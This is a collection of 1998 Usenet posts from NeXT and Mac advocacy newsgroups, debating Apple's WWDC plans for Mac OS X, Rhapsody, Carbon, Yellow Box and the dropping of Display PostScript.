Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <rmcassid-1405981211310001@dante.eng.uci.edu>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355c85ca.0@206.25.228.5>
Date: 15 May 98 18:13:30 GMT
rmcassid@uci.edu (Robert Cassidy) wrote:
> Personally, I've never known a Mac user to suggest that others
> shouldn't learn unix. On the other hand, I don't EVER want someone
Sure, of course they won't come out and say it like that. But they
will say stuff like "I NEVER WANT A COMMAND LINE ON A MAC, I NEVER
WANT UNIX IN THE MAC OS." They're not going to come out and say
"since I'm to stupid, lazy, or might be at a relative stragic
disadvantage if you learn tools I'm unfamiliar with, I don't want
you to have that ability."
> to tell me that my mom HAS to deal with unix just to use her
> computer. Leave unix out of the _consumer_ version of the MacOS
> X by default. Let me add it in or purchase a unix enabled version,
> though please.
You're absolutely right, and I think the BOZOs advocating the
opposite extreme are just as silly. I'm all for letting others
having their piece of pie, especially when it's not at my expense.
I agree with you Rob, you can find nuts on all sides of a tree.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355c8423.0@206.25.228.5>
Date: 15 May 98 18:06:27 GMT
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <355bc985.0@206.25.228.5> John Kheit wrote:
> > OK, I couldn't hold back a second longer. GOSH THAT FREAKIN
> > UI SUCKS BIG BOGON SCOOPS. Ah, I feel much better now.
> >
> Actually you get used to it. Again, it's how it feels that's
> important.
True. But I got used to win3.1. I got used to win95. I got used
to a bunch of X UIs. I have no doubts about being able to get
used to. Liking it is a different beast, at least to me. YMMV.
> The one thing I really still miss is the Shelf on the FileBrowser.
> Not having that is a pain in the bottom.
Ahhhhhrghgghghgg, I'm just not going to get into it because I'm
just going to make myself even more upset. CALM JOHN CALM....
%-)
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody/MacOS X (official)
Date: 15 May 1998 20:14:02 GMT
Organization: Idiom Communications
Message-ID: <6ji7ma$enf$4@news.idiom.com>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com> <UwR61.6$Jb1.175245@news.rdc1.sfba.home.com>
<6jgsb2$934$1@crib.bevc.blacksburg.va.us> <6ji0ni$n53$3@cronkite.cygnus.com>
<6ji2p3$avt$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
Nathan Urban may or may not have said:
-> In article <6ji0ni$n53$3@cronkite.cygnus.com>, jrudd@cygnus.com wrote:
->
-> > In <6jgsb2$934$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
->
->
-> > I can think of lots
-> > of ways to have an App draw, but the workspace do the refresh, in a way
that
-> > doesn't require the workspace to ask the App to redraw. In fact, I can
think
-> > of a light weight windowing design mechanism that would do this without
-> > sacrificing networking.
->
-> > [...]
->
-> Your idea sounds plausible to me, but I'm not an expert. Now someone
-> tell me that Apple's going to do this and not sacrifice remote-hosting.
:-/
The problem is, this approach means that you hve to ship rasters between the
Application's memory and the window server's memory. With X and DPS, you
send drawing commands between the app and the window server, which is *much*
more compact. It can be made to work on a single host, but trying to do
remote hosting will soak the network.
Losing DPS is a major technical setback, IMNSHO. It might prove to be a win
economically, but I'm still irritated at Adobe.
-jcr
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 15 May 1998 17:47:07 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981747070001@132.236.171.104>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B3744.18038EC5@milestonerdl.com> <6jfl4h$7lh$1@crib.bevc.blacksburg.va.us> <6jfmkm$9tn@netaxs.com> <6jfnjq$7st$1@crib.bevc.blacksburg.va.us>
In article <6jfnjq$7st$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> No Rhapsody? Tell that to the people with RDR2. No, it hasn't shipped
> yet, but it _does_ contain just about everything that Apple promised,
> and a lot that Apple didn't promise.
I know one person who claims to have received DR2 in the mail (yesterday
or today; I don't recall which).
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: Fri, 15 May 1998 16:00:51 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355CAD03.E335B69C@milestonerdl.com>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu> <see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5> <rmcassid-1405981211310001@dante.eng.uci.edu> <355C3733.BC879B06@milestonerdl.com> <6jhp1e$ab8$1@crib.bevc.blacksburg.va.us> <355C612F.F0CCCEEC@milestonerdl.com> <19980515144037791248@sdn-ts-009txhousp03.dialsprint.net>
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John Bauer wrote:
> M Rassbach wrote:
> > Unix supported/hooks are there and NOT no-unix-in-MacOS X.
> > If there are questions, that's because it's not clear. It would be nice
> > to have Apple clarify the mixed-up message.
> www.developer.com/calendar/minisites/wwdc98/131corOSarch/sld024.htm
> www.developer.com/calendar/minisites/wwdc98/131corOSarch/sld026.htm
>
> How much clearer can you get?
Welp, when you get e-mail from ppl when you post
Would BSDUnix hooks be there?
and the e-mail says this:
> Will the hooks be there to add it as a 3rd party market option?
I mailed exactly that line above to a friend of mine at apple. His
answer has been: absolute nonsense
I've been listening to the CoreOS and the slides help clear up the matter, and
the e-mail message I got seems to be in err.
As another poster has mentioned: MacOSX is 16 months out...so who knows what
will ship.
Or in the Core OS QT movie
Time index: 40:20
asks for feedback so that with MacOS X "we are delivering the right thing for
you"
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:05:54 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981805550001@132.236.171.104>
References: <355B365F.929E049D@spamtoNull.com> <B1809773-7F1C1@207.217.155.114> <355C9631.C99DEE0E@spamtoNull.com>
In article <355C9631.C99DEE0E@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Personally, I liked the blue-box/Rhapsody scenario a lot better. I think
> the reason Adobe didn't "jump on the bandwagon" was simply because DR1
> didn't provide enough for them to seriously work with, and because
> Apple/Jobs were openly so silent on the issue of Rhapsody. After the
> clone fiasco, who can blame Adobe for being cautious with development
> dollars thrown after Apple technology?
I don't see how things have changed for the worse. If you are a MacOS
developer, you had two choices before:
(1) port to yellow box and get PM and PMT
(2) use OS8 APIs and run in the blue box where other blue apps can screw you up
Now you have three choices:
(1) port to yellow box and get PM and PMT
(2) use OS8 APIs and run in the blue box as in #2 above
(3) change some of your calls from OS8 APIs to Carbon APIs and get PM and PMT
> Rhapsody-Blue box, implemented as originally advertised, would have
> allowed Apple to step boldly into the future while retaining 95% or
> better legacy capability. That's the way it's done. This insistence on
> the "Mac OS 10-Crown Jewel" approach by Jobs does nothing for me. It
> sounds too much like Copland dusted off and tried again (although it
> isn't--which makes it too bad Jobs makes it sound so much like it is.)
Copland did not have the degree of protection offered by OS X. Under
Copland, anything that used the GUI was unprotected. Only
threads/processors that avoided specific system calls could be protected.
You still have to avoid those calls, but Copland did not provide
alternatives to those calls, so protected apps would lose functionality.
Carbon does provide alternative system calls.
OS X still lets you step boldly into the future. But it doesn't force you
to step boldly into the future. What I find upsetting is that Apple
apparently isn't going to encourage you to go into the future either.
> Well, on the other hand, I've seen a lot of great reasons why developers
> would have liked Rhapsody, too. I think the problem was that in its DR1
> stage things were just too nebulous to rely on, from the developer
> standpoint. That, coupled with the insecurity of Apple's back & forth,
> were probably the main reasons no major developers were chomping at the
> bit to jump onboard Rhapsody.
NeXT developers had a lot to like about Rhapsody. MacOS developers have a
lot to like about OS X.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: "FJ van Wingerde" <fj@medg.lcs.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody
Date: 15 May 98 17:42:59 +0000
Organization: Harvard University University Information Systems
Message-ID: <B1822F29-1396C1B@134.174.31.187>
References: <B1821A5A-5279FD@141.214.128.36>
Mime-Version: 1.0
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On Fri, May 15, 1998 8:10 PM, Robert A. Decker <mailto:comrade@umich.edu>
wrote:
>
> How do they plan on doing Net Computers if they're dropping NSHosting?
There are multiple ways to do what gets called
'network computing'. The current thin client JAVA based
model does it by having the user log into a thin client,
which makes the server ship the programs to the client,
and then the client executes the program, getting
only files from the server. You can do that without
NXHosting or any other network-windowing protocol.
The NXHosting model is more along the lines of the
'old' X11 model where the programs are executed on
the server instead of the client, and representations
of the program-output (screen calls, redraws) and
input (typing, mice) get shipped around. This used
to be a bandwidth pig in X11, but I was told here that
DPS was nicer about it. It is this model that will be
gone.
FJ!!
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:10:42 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981810420001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104> <355b3e7c.0@news.depaul.edu>
In article <355b3e7c.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> Have you read the slides?
The only slide I have seen is one showing Blue, Yellow, and Carbon on top
of Mach (with other items also being present).
Apple used to have a projected shipping date for "Rhapsody CR2". What is
Apple's current projected shipping date for this product (which should
include an Intel version), regardless of what name (Rhapsody 1.1?) it now
goes by?
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:08:16 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981808160001@132.236.171.104>
References: <895179379.806734@kelp.mbay.net> <B180C661-12F863@207.217.155.114> <6jg26g$89f$1@crib.bevc.blacksburg.va.us>
In article <6jg26g$89f$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <B180C661-12F863@207.217.155.114>, "Brad Hutchings"
<brad@hutchings-software.com> wrote:
>
> > Someone starting a new app should definitely consider YB _when MacOSX
> > ships_. Right now, however, if you start a new app with hopes of bringing
> > it to market by fall, you might be taking a significant risk writing to YB.
>
> Why is that? YB will be shipping in the fall.
When it ships is not what's relevant as far as software sales for programs
using YB. What's important is when it gets into end users' hands in mass
quantities, which probably won't happen until OS X ships (and trying to
figure out when that will be is risky).
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 15 May 1998 18:16:41 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jies9$bbm$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <6jib4k$nu6$1@larry.admin.phil.uu.nl>
In article <6jib4k$nu6$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek Wiedijk) wrote:
> The _big_ difference is that (outside the blue box), Rhapsody
> will contain _no_ Mac OS legacy code (well, let's forget
> about HFS+ for the moment: using that instead of UFS is a bad
> idea anyway). Mac OS X will. Lots, actually.
What makes you say that?
(Incidentally, why is HFS+ over UFS a bad idea? I don't know much about
the former.)
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:12:32 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981812320001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com> <andyba-ya02408000R1405981037340001@news>
In article <andyba-ya02408000R1405981037340001@news>,
andyba@corp.webtv.net (Andy Bates) wrote:
> Actually, 16 months until the final version of Mac OS X
You actually believe that it will ship on time? Dear me.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:14:01 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981814010001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <355a8f71.33368385@news.newsguy.com>
In article <355a8f71.33368385@news.newsguy.com>, telam@iquest.net (Tom
Elam) wrote:
> MY GOD - YOU JUST REPLIED TO ME IN ANOTHER POST THAT IT DOES NOT MATTER THAT
> THIS THING DOES NOT RUN ON ANYTHING BUT A G3. YOU TWO-FACED ^%$%*&*.
The other post was sarcastic.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:21:04 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981821040001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <Esu2w9.32s@micmac.com>
In article <Esu2w9.32s@micmac.com>, nospam@micmac.com wrote:
> If you want to feel better you can call Mac OS X Rhapsody 2.0!
> That's what it will be!
>
> You should now by now that marketing imperatives are quite different from
> *REALITY*...
And the reality is that MacOS X will not run on the x86.
> If they don't that's their loss: they will be replaced.
But how they will be replaced is a problem. They could be replaced
because users decide to buy Yellow apps or they could be replaced because
users switch to Windows because, dammit, they need to run Word and Excel!
> You should not make such conclusions! It makes you look having poor analysis
> capacities...
> I guess you have absolutely no idea of what marketing is about!
> I can tell you that Steve is *bright*!
I'd agree that he's bright enough to fool a lot of people.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 22:22:23 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6jif6v$3pg$1@vixen.cso.uiuc.edu>
References: <6jgsjt$93u$1@crib.bevc.blacksburg.va.us> <1998051512561800.IAA17653@ladder01.news.aol.com> <6jhne8$a2b$1@crib.bevc.blacksburg.va.us> <355c810a.0@206.25.228.5>
John Kheit (jkheit@xtdl.com) wrote:
^ makes me ill. Whatever they replace it with, god help us, should
: be a ****UNIFIED IMAGING/PRINTING MODEL****. Meaning the EXACT
: same code that's used to render to screen will result in a print
: out with *NO* extra effort from the developer. If that happens,
:
: so I'm sure hopeful that whatever they end up using for
: an imaging system will be unified. That being done, I'll be happy.
:
From http://www.stepwise.com/SpecialCoverage/WWDC98/Thursday-Graphics.html
"The imaging model has changed so that it is based on PDF. What this means
is that we will have all the imaging abilities that are in PostScript, but
without the language itself. We'll still have a Unified Imaging Model --
its easy to output PDF to a printer as a raster image, and its easy to
convert PDF to PostScript for Postscript printers. We'll still have device
independence and the high-resolution quality that we've come to expect
from DPS."
HTH.
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:31:51 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981831520001@132.236.171.104>
References: <35593b48.6388203@198.0.0.100> <B17DF73F-8875F@209.109.225.96> <ericb-1405981243410001@132.236.171.104> <see-below-1405982044570001@209.24.240.162>
In article <see-below-1405982044570001@209.24.240.162>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> If that's the case, why would they even bother shipping DR2, which is
> still on track for delivery in a couple of weeks?
Apple's motivation is often unclear.
> > I'm
> > disappointed, but this is still a big improvement over what we got out of
> > the Copland mess.
>
> I agree with that, but what are you disappointed about?
Lack of focus on cross-platform YB tools. Lack of long-term commitment to
shipping YB on Windows or to developing Rhapsody/Intel. There are sources
that say it's probably dead and sources that say development will probably
continue, but Apple has made no public indication one way or the other.
They should have made an indication--this is, after all, their developer's
conference, and these are the people who need to know what's going on.
People point out that no major developers were embracing YB, so Apple had
to do Carbon. Well, Apple never really clarified to developers what its
OS strategy was. Up until this week there was general confusion about the
target market for Rhapsody 1.0. Would you have committed to developing
for Rhapsody 1.0 under those uncertain circumstances?
Apple shares a fair degree of responsibility for the creation of the
problem it now claims to have solved with Carbon.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:32:56 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981832560001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104> <stevenj-ya02408000R1405981340230001@news.mit.edu>
In article <stevenj-ya02408000R1405981340230001@news.mit.edu>,
stevenj@alum.mit.edu (Steven G. Johnson) wrote:
> It seems clear that Apple is still committed to Yellow box, both from the
> attention they are giving it at WWDC and the amount of effort they continue
> to expend in improving it.
YB, yes. YB for Windows is questionable. Will it run on NT5 and Win98?
If yes, where are those announcements from Apple?
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
Date: Sat, 16 May 1998 08:05:04 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <355C8A93.F71D9C6D@spamtoNull.com>
<B181EB86-C00BD@206.165.43.138>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <355cc1cc.0@news.camtech.net.au>
In article <B181EB86-C00BD@206.165.43.138> , "Lawson English"
<english@primenet.com> wrote:
>
>Jonathan Harker <Limeyville@spamtoNull.com> said:
>>Eric Bennett wrote:
>>At last, some strong sanity pervades these spaces....:) Like a breath of
>>fresh air....:)
>
>It isn't quite THAT bad (but almost). The Bravo/PDF imaging system is
>pretty much the same as QuickDraw except for better color handling and
>floating point coordinates to provide device-independent graphics. Support
>for threading is providing by having an explicity set/getport built into
>every call (apparently).
>
>There are quite a few problems with this solution, but the main one is that
>it isn't GX.
>
>Seriously, there were quite a few flaws in the design of QuickDraw that GX
>was designed to do away with. These flaws ARE addressed by "enhanced
>QUickDraw," but in the least elegant way possible.
>
>For instance, for our unified imaging model, we now have PDF. PDF files
>aren't really designed for interactive graphics or editing. For instance,
>how many of you have actually looked at the contents of an acrobat file? It
>ain't pretty.
PDF is just plain aweful. While I applaude Apple trying to get away from paying
outrageous royalties to Adobe, I still fail to see the advantages (as the
Graphics and Imaging session tried to imply) over PS. It will be interesting to
see how this pans out in the future.
PS: Does anyone know exactly why the new model excludes NXHosting? Seems like
a real step backwards to me.
Tim Priest
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:37:55 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981837560001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> > In other words, you can count out all of today's major software
> > publishers? I see Adobe happily demoing Photoshop on Carbon. But they
> > aren't porting to Rhapsody (no demos there), nor is Apple giving them a
> > reason to do so.
>
> Were they going to anyway? Could Apple give them a real reason to do so?
I don't know, but with everyone admitting prior to this week that they
didn't have a clue how Rhapsody was going to be positioned in the market,
Apple was giving them reasons *not* to do so.
> Writting for the Yellow Box still has all the cross-platform advantages it
> had before this announcement.
Not if YB/Win98/NT5 doesn't show up, and not if Rhapsody/Intel does not
continue beyond the 1.0 release.
> Anyone writting a new application will find it much better to go with YB.
> Anybody who wasn't going to take the trouble to rewrite their app from the
> Mac OS to the YB can now at least take advantage of PM/PMT/VM with
> relatively little work.
Carbon is great for MacOS developers. I'm just questioning the long-term
commitment of Apple to making YB available on the x86.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Deep in the Stepwise notes: Mozilla runs!
Date: 15 May 1998 20:37:27 GMT
Organization: MiscKit Development
Message-ID: <6ji927$6sf$2@news.xmission.com>
References: <6jhvp4$25n$1@xmission.xmission.com>
Kristofer Jon Magnusson <kris@xmission.xmission.com> wrote:
> http://www.stepwise.com/SpecialCoverage/WWDC98/Thursday-BSD.html
>
> "The second demo was a port of Netscape's Communicator product. Yep..
> Matt Watson downloaded the Mozilla source, and it was actually running in
> a yellow box window. It took very little time (about 20 hours) and
> required few changes (27 lines) in the original code. [...]."
Here's a followup from the Mozilla for Rhapsody mailing list, which many
people here probably have not seen:
] From: Matt Watson <mwatson@apple.com>
] Subject: Re: Did Matt Watson port Netscape to Rhapsody?
] Cc: mozilla-rhapsody@mozilla.org
] Date: Fri, 15 May 98 10:56:24 -0700
]
] I've already sent my diffs for the back end to the Netscape
] folks. I'll send my front-end code to them after I clean it
] up. Probably on Monday. I really only started this last week,
] so I figured the list could wait for my little surprise
] until WWDC.
Nifty!
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Followup-To: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 15 May 1998 22:41:28 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6jigao$3pg$2@vixen.cso.uiuc.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <355B3744.18038EC5@miles
M Rassbach (mark@milestonerdl.com) wrote:
:
:
: Joe Ragosta wrote:
:
: > Baloney. Apple has consistently stated that YB apps will run on Win95/NT.
: > It's in most of their discussions on YB.
:
: And 98? And NT 5.X? That's Micro$oft's future. Why hasn't Apple announced planned
: support for them? NT4/95 will go away...does Windows YB go away then too, with the
: only supported YB on PPC?
10 BEAT "Dead Horse"
20 GOTO 10
Quite the persuasive argument. I think the s/n ratio round these parts has
actually increased to new heights with this WWDC, and you're a great part
of it. Please let it go, for now at least.
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:41:18 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981841180001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu> <slrn6lmg0e.rb6.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <joe.ragosta-1505981217440001@wil115.dol.net>
In article <joe.ragosta-1505981217440001@wil115.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> I don't know. But since Carbon will never appear on Intel, it's moot.
<sarcasm not directed at Joe>
Aw, cmon, Joe, they never said that! All they said was MacOS X will not
run on Intel. Not Carbon.
See, just like how they never said OS X will require a G3, or how
Rhapsody/Intel and YB/Windows may be suffer "deemphasis" in the future,
they never said Carbon will never appear on Intel. Therefore I conclude
that Carbon will ship for the x86 at some undetermined point in the
future.
</sarcasm not directed at Joe>
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 15 May 1998 22:43:04 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6jigdo$3pg$3@vixen.cso.uiuc.edu>
References: <6jgsjt$93u$1@crib.bevc.blacksburg.va.us> <1998051512561800.IAA17653@ladder01.news.aol.com> <6jhne8$a2b$1@crib.bevc.blacksburg.va.us> <355c810a.0@206.25.228.5> <6jif6v$3pg$1@vixen.cso.uiuc.edu>
willis sean timothy (stwillis@ews.uiuc.edu) wrote:
*snip*
Just saw your other thread. No worries.
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Fri, 15 May 1998 18:45:03 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1505981845030001@132.236.171.104>
